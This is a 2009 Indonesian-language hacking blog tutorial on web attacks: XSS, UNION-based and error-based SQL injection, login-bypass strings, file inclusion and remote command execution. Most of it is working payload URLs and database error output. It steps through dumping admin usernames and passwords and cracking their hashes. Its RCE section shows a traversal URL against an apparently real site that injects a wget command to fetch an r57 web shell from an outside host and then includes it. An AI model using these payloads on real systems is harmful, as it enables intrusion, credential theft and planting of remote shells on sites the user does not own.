Main My profile Registration Log out Login
Friday
17.5.2024
2:28:28 PM
Welcome Guest | RSS LoginRegistrationMain
Site menu
Our poll
Rate my site
Total of answers: 5
Statistics

Total online: 1
Guests: 1
Users: 0
About You
IP
Counter
Free Hit Counter
Main » 2009 » November » 27 » Simple basic common web attack
Simple basic common web attack
12:19:43 PM
Tutorial kali ini kita akan membahas beberapa serangan yang sering dilakukan oleh para attacker web atau dengan kata lain tester web:

1.XSS (Cross site scripting)
2.basic SQL injection
3.SQL injection for ASP
4.bypass login
5.File Inclusion (RFI/LFI)
6.RCE (Remote Command Execution)

ok langsung saja kita menuju TKP.

0x01::XSS (cross site scripting)

XSS adalah satu teknik web attack yang sangat mudah sekali dilakukan, ibaratnya, bug ini adalah sederhana karena attacker hanya menampilkan script yang tertulis di URL addressnya. XSS (cross site scripting), wah kenapa namanya bukan jadi CSS??? karena CSS sendiri sudah memiliki arti yakni Cascading style sheet, nah nanti kalo pk singkatan itu jadi rancu donk

example:

Code:
http://namasite.com/aduh.php?xss=welcome+to+mysite


nah dari situ biasanya kita tahu baha web tesebut terkena vulnerable XSS, dari situ kita bisa memainkan URL tersebut menjadi:

example:
Code: 
http://namasite.com/aduh.php?xss=<script>alert(kamu ganteng deh)</script>


nah nanti bisa kita rubah seperti itu,nanti setelah kita tekan enter maka akan keluar javascript alert dengan tulisan "kamu ganteng deh",hehehe


0x02::SQL injection


nah ini mungkin udeh pada tahu, atau mungkin udeh banyak yang mngerti metode ini, kalo udeh ada silahkan saja yah dilewadkan,:), ini juga serangan attacker yang sering kali digunakan, karena masih banyak sekali site yang vulnerable dengan metode ini, sebelum lebih jauh membahas metode yang satu ini, g ada salahnya kita berkenalan dengan metode ini, karena ada pepatah, ga kenal maka g tahu.

gini loh, sql injection adalah metode web attack dengan melakukan pemberian karakter2 khusus diURL target biasanya web tersebut di URLnya diberikan tanda quote.
example:

Code: 
http://serang.org.sql.php?inject=20'


nah kan diberikan tanda petik tuh, kalo ada pesan error, berarti web tersebut vulnerable dengan sql injection

kemudian kita bisa mencari kolom keberapa yang mengalami masalah

example:

Code: 
http://serang.org/sql.php?injection=10 order by 1--


example:
Code: 
http://serang.org/sql.php?injection=10 order by 5--


atau juga bisa mencari dengan metode lain:

example:

Code: 
http://serang.org/sql.php?injection=-10 union all select 1--


example:
Code: 
http://serang.org/sql.php?injection=-10 union all select 1,2--


example:
Code: 
http://serang.org/sql.php?injection=-10 union all select 1,2,3--

dan seterusnya

atau juga bisa

example:
Code: 
http://serang.org/sql.php?injection=10 and 1=2 union all select 1--


example:

Code: 
http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2--


example:

Code: 
http://serang.org/sql.php?injection=10 and 1=2 union all select 1,2,3--


dan seterusnya sampe keluar kolom yang bermasalahnya ok...
nah kalo gitu, karena ini cuma contoh,kita anggap yang keluar adalah kolom ke 3

setelah itu kita bisa mengecek versi sqlnya

example:

Code: 
http://serang.org/sql.php?injection=-10 union all select 1,2,version(),4,5--


atau

example:

Code: 
http://serang.org/sql.php?injection=-10 union all select 1,2,@@version,4,5--


kalo seandainya yang keluar versi 4.x.x, maka lewadkan saja, kalo mau dipaksa bisa sih, tapi harus tebak2 tabel dan kolom,hehehe, kalo seandainya yang keluar versi 5.x.x , mari lanjutkan.

untuk mencari tabel yang terdapat dalam site tersebut

example:

Code: 
http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(table_name),4,5 from information_schema.tables where table_schema=databasae()--


inget file yang penting adalah:

>>
Code: 
group_concat(table_name)
<< == untuk mencari table dari database yang ada.

>>
Code: 
from information_schema.tables where table_schema=database
<< == diletakan di angka terakhir yang kita dapatkan (lihad contoh diatas)

ok, sekarang kita dapet tabelnya nih, misalnya isi tabelnya sebagai berikut:
admin
user
forum
berita
polling

nah stelah dapet itu selanjutnya kita harus tahu, apa saja sih yang ada didalam tabel itu, tapi tabel yang ingin dicari harus terlebih dahulu kita konvert ke ASCII

example:
Code: 
http://serang.org/sql.php?injection=-10 union all select 1,2,group_concat(column_name),4,5 from information_schema.columns where table_name=0x61646D696E--


61646D696E = admin = dari string kita rubah ke ASCII dengan menambahkan 0xASCII

setelah kita dapet kolomnya, sekarang saatnya kita dump itu kolom, misalkan kolom yang terdapat pada tabel adalah:
id
username
password
email

nah kan udeh tahu kan, dumping deh

example:

Code: 
http://serang.org/sql.php?injection=-10 union all select group_concat(id,0x3a,username,0x3a,password,0x3a,email) from admin--


nah selesai deh, username n password ada ditangan anda, kalo seandainya password yang kita dapet di encrypt dengan md5 silahkan crack saja yah, banyak ko crackan buat md5 yang online tool sekarang. setelah berhasil di crack atau dapet password dan usernamenya, silahkan cari halaman adminnya


0x03::SQL injection for ASP

sebernernya ini sama saja dengan metode SQL injection yang diatas, tapi bedanya hanya dibahasa yang digunakan, kalo yang diatas biasa di pk untuk *.php dan kalo yang ini untuk *.asp..

example:

Code: 
http://inject.web.id/sql.asp?injection=12'


kalo muncul pesan error kaya gini "
Code: 
Microsoft OLE DB Provider for ODBC Drivers error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Unclosed quotation mark before the   character string ''.
/news.asp, line 52
" berarti bisa kita lanjutkan, selain dari itu, coba2 ajah ok...hehehehe :p

lanjutkan dengan

example:

Code:
http://inject.web.id/sql.asp?injection=12' HAVING 1=1--


error "
Code:
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_id' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause.
"

cari lagi table dan kolomnya

example:

Code: 
http://inject.web.id/sql.asp?injection=12' GROUP BY news.news_id HAVING 1=1--


error "
Code: 
Microsoft OLE DB Provider for SQL Server error '80040e14'
[Microsoft][ODBC SQL Server Driver][SQL Server]Column 'news.news_detail' is invalid in the select list because it is not contained in an aggreate function and there is no GROUP BY clause."


Error menunjukkan nama column yang ketiga adalah "news_detail"
Untuk mencari nama column yang seterusnya, lakukan seperti langkah selanjutnya dengan menambahkan urutan nama-nama column.
Jika pada akhirnya tidak muncul error, berarti sudah tidak ada lagi column yang di dalam table.

Selanjutnya kita akan menggunakan metode yang lain untuk memanfaatkan error MSSQL dengan command "convert".
Contoh command yang akan ditambahkan diakhir URL (setelah parameter id) adalah: +and+1=convert(int,perintah)--
contoh kita akan melihat versi server:

example:
Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,@@version)--


Pesan error yang muncul:

Code: 
Microsoft SQL Native Client error '80040e07'
Conversion failed when converting the nvarchar value 'Microsoft SQL Server 2005 - 9.00.3042.00 (Intel X86) Feb 9 2007 22:47:07 Copyright (c) 1988-2005       Microsoft Corporation Express Edition on Windows NT 5.2 (Build 3790: Service Pack 1) ' to data type int.
/page.asp, line 9


Dari error tersebut kita mengetahui versi Microsoft SQL dan OS-nya.

Untuk mencari nama databasenya

example:

Code:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,db_name())--


Error yang dihasilkan:
Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwhdb' to data type int.
/page.asp, line 9


Berdasarkan error maka dapat diketahui bahwa nama database adalah "cwhdb"

Untuk melihat user yang sementara menggunakan database gunakan command user_name(). contoh:

example:
Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,user_name())--


Error yang dihasilkan:
Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'sa' to data type int.
/showthread.asp, line 9


Error menunjukkan bahwa user adalah "sa"

Sekarang adalah bagaimana mencari nama table, nama column, dan isinya, dari table information_schema. Perintahnya: +and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))-- >>contoh:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables))--


Error yang dihasilkan:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'threads' to data type int.
/page.asp, line 9


Dari query tersebut, dapat diketahui bahwa "threads" sebagai tipe data nvarchar dan tidak bisa diconvert ke data tipe int, maka menghasilkan error.
Dan dengan error tersebut, menunjukkan table yang pertama adalah table "threads".
Selanjutnya mencari table yang kedua. Dengan menambahkan perintah WHERE. contoh:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads')))--


/*Penjelasan perintah tersebut, yaitu kita akan mengambil informasi dari table information_schema dimana/dengan nama table tidak/bukan "threads". Atau dengan kata lain kita akan mencari table yang selain table "threads"*/
Maka akan muncul error:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'users' to data type int.
/page.asp, line 9


Error menunjukkan table yang kedua adalah "users". Untuk mencari table yang lain, hanya tambahkan nama table yang telah diketahui. contoh:

example:

Code:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+table_name+from+information_schema.tables+where+table_name+not+in+('threads','users')))--


Error yang muncul:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'forums' to data type int.
/page.asp, line 9


Yang berarti nama table yang ketiga adalah table "forums"
Namun jika error yang tampil seperti ini:

Code: 
ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10


Maka menandakan bahwa semua table telah ditampilkan dan sudah tidak ada lagi table yang lain.

Selanjutnya mencari nama column dari table. Metodenya hampir sama dengan yang sebelumnya, yaitu masih mencari dari "information_schema" namun perintahnya dari "information_schema.tables" berubah menjadi "information_schema.columns" dan dari "table_name" berubah menjadi "column_name". contoh:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'))--

Menampilkan error:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'uname' to data type int.
/showthread.asp, line 9


Dan berdasarkan error diketahui isi column pertama dari table "users" adalah column "uname".
Untuk mencari column yang lain gunakan perintah di akhir URL: and+column_name+not+in+('uname'). contoh:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname')))--


Menghasilkan error:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'upass' to data type int.
/showthread.asp, line 9


Berdasarkan error, column yang kedua adalah column "upass" yang terdapat dari table "user".
Untuk mencari column yang lain, tambahkan nama column yang telah kita ketahui sebelumnya. contoh:

example:

Code:
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+column_name+from+information_schema.columns+where+table_name='users'+and+column_name+not+in+('uname','upass')))--

Muncul error:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'email' to data type int.
/showthread.asp, line 9


Berarti column yang ketiga adalah column "email".
Tetapi jika error yang dihasilkan adalah:

Code: 
ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/page.asp, line 10


Itu menandakan bahwa sudah tidak ada lagi column yang lain.

Last step, adalah mencari isi dari column yang telah kita ketahui. Seperti ini:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users))--


Error yang muncul:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'admin' to data type int.
/page.asp, line 9


Berarti isi dari column "uname" yang berada di table "users" datanya adalah "admin".
Untuk mencari user yang lain, gunakan data yang telah kita ketahui. contoh:

example:

Code: 
http://www.example.com/page.asp?id=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin')))--


Jika error yang muncul:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value 'cwh' to data type int.
/page.asp, line 9


Berarti username yang lain adalah "cwh". Dan untuk mencari user yang berikutnya, tambahkan username yang telah diketahui. contoh:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+uname+from+users+where+uname+not+in+('admin','cwh')))--

Dan jika errornya:
Code: 
ADODB.Field error '800a0bcd' Either BOF or EOF is True, or the current record has been deleted. Requested operation requires a current record.
/showthread.asp, line 10


Berarti hanya ada 2 user yaitu "admin" dan "cwh".

Dan untuk mencari passwordnya, perintahnya seperti:

example:

Code: 
http://inject.web.id/sql.asp?injection=1+and+1=convert(int,(select+top+1+upass+from+users))--

Dan jika error yang ditampilkan adalah:

Code: 
Microsoft SQL Native Client error '80040e07' Conversion failed when converting the nvarchar value '123' to data type int.
/page.asp, line 9


Maka isi dari data yang pertama di column "upass" adalah "123".
Dari hasil yang kita dapat diatas, isi data pertama dari column "uname" adalah "admin", dan isi data pertama dari column "upass" adalah "123".
Berarti usernamenya adalah "admin" dan passwordnya "123"


0x04::bypass Login

bypass adalah teknik hacking untuk login ke suatu site dengan memanfaatkan kesalahan dari si programmer di form login...
begitu kira2 menurut w brother...

ini sedikit list yang biasa di gunakan untuk bypass halaman website:

Code: 
'or'
1'or'1'='1
having 1=1--
x'or'x'='x

dan masih banyak lagi silahkan anda kembangkan dan cari lagi, seperti biasa, in google


0x05::File Inclusion

ini dia kita memasuki tahap yang dibilang banyak dilakukan oleh para hacker indonesia yang sering main atau nongkrong di irc,hehehe :p
file inclusion ini terbagi 2 bagian:
1.Remote FIle Inclusion
2.Local File Inclusion

nah sini w bahas yang RFI dulu yah..

RFI (Remote File Inclusion) adalah sebuah lubang dimana site mengizinkan attacker meng-include-kan file dari luar server. nah ngerti g tuh bro...jadi gampangnya gini loh...jadi dari luar server kita bisa melakukan kaya kita didalam server, nah gitu bro...

nah kemudian LFI

LFI (Local File Inclusion) adalah sebuah lubang pada site di mana attacker bisa mengakses semua file di dalam server dengan hanya melalui URL.

nah disni saya akan memberikan bug terjadinya RFI dan LFI..

> [Penjelasan ]
< fungsi-fungsi yang dapat menyebabkan LFI/RFI:
Code: 
include(); include_once(); require(); require_once(); Dengan syarat pada konfigurasi php di server: allow_url_include = on allow_url_fopen = on magic_quotes_gpc = off contoh: misalkan kita punya file index.php dengan content kodenya seperti ini, Code: include "../$_GET[framefile]"; ?>


0x06::RCE (Remote Command Execution)

RCE...wah apa tuh baru denger nih...???? wah kaka, masa sih baru denger..ini adalah salah satu serang yang sering digunakan oleh attacker di indonesia juga..dari namanya juga kita pasti tahu apakah itu..itu adalaha bagaiman si attacker mampu menexecute perintah2 dengan meremote server yang vulnerable dari site

sebagai contoh saya bisa kasih link saja yah tentang RCE ini

untuk mencari RCE anda bisa buka
http://www.milw0rm.com/papers/369

untuk bermain RCE dengan LFI, loh bisa baca
http://www.milw0rm.com/papers/361
http://www.milw0rm.com/papers/260

nah sisanya anda cari lagi yang mengenai RCE, sebenernya RCE bukan hanya ada di bug LFI, tapi masih banyak lagi, seperti di phpmyadmin dan lain-lain..

Bug rce emang lahir karena kesalahan fungsi include file yang gak di filter dengan baik. jadi but ini bisa lahir di rfi dan lfi. dalam kasus ini lfi.

darimana bisa tau? simple, include aja log access nya.

example:

Code:
http://isolagrafica.com/webmail//src/redirect.php?plugins%5b%5d=../../../../../../../../../../../../../../../etc/httpd/logs/access_log%00

nemu deh log ini

Code:
http://isolagrafica.com/webmail//src/redirect.php?plugins%5b%5d=../../../../../../../../../../../../../../../etc/httpd/logs/access_log%00&c0li=cd /tmp;wget http://sundall.net/.log/r57;ls -la

apa yang di lakukan hacker disini?

menginjeksi dengan jurus rce. perhatikan.

%00&c0li=cd /tmp;wget http://sundall.net/.log/r57;ls -la


setelah memberi nullbyte, parameter di belakangnya akan di anggap sebagai command. null byte berfungsi sama seperti karakter pipa '|'.

command apa yang doi lakkukan?

cd /tmp; >>> masuk /tmp. napa masok dir ini, karena dir ini udah pasti perm 777. ini untuk melanjutkan aksi berikutnya.

wget http://sundall.net/.log/r57; >>> download r57shell ke /tmp/

ls -la; >>> lihat file terdownload or kagak. di step ini, doi udah tau klo filenya terdownload dengan baik.

next step, tinggal include tuh file pakek jurus lfi nya.


Code:
http://isolagrafica.com/webmail//src/redirect.php?plugins%5b%5d=../../../../../../../../../../../../../../../tmp/r57%00

hehe. mantep ya neh jurus. mayan nih nambah jurus kita. sip dah. thankz ichy, thankz c0li.

kesimpulanya, rce bisa di injeksi dengan karakter pipa, nullbyte, titik koma, dan mungkin dengan "???".

Views: 1047 | Added by: 000jericho | Rating: 0.0/0 |
Total comments: 0
Name *:
Email *:
Code *:
Login form
Search
Calendar
«  November 2009  »
SuMoTuWeThFrSa
1234567
891011121314
15161718192021
22232425262728
2930
Entries archive
Links
Forum  ========================== ..::Forum::..  ==========================
Firends
Friends  ========================== ..::Friends::..  ==========================

Copyright Jericho © 2024
Powered by uCoz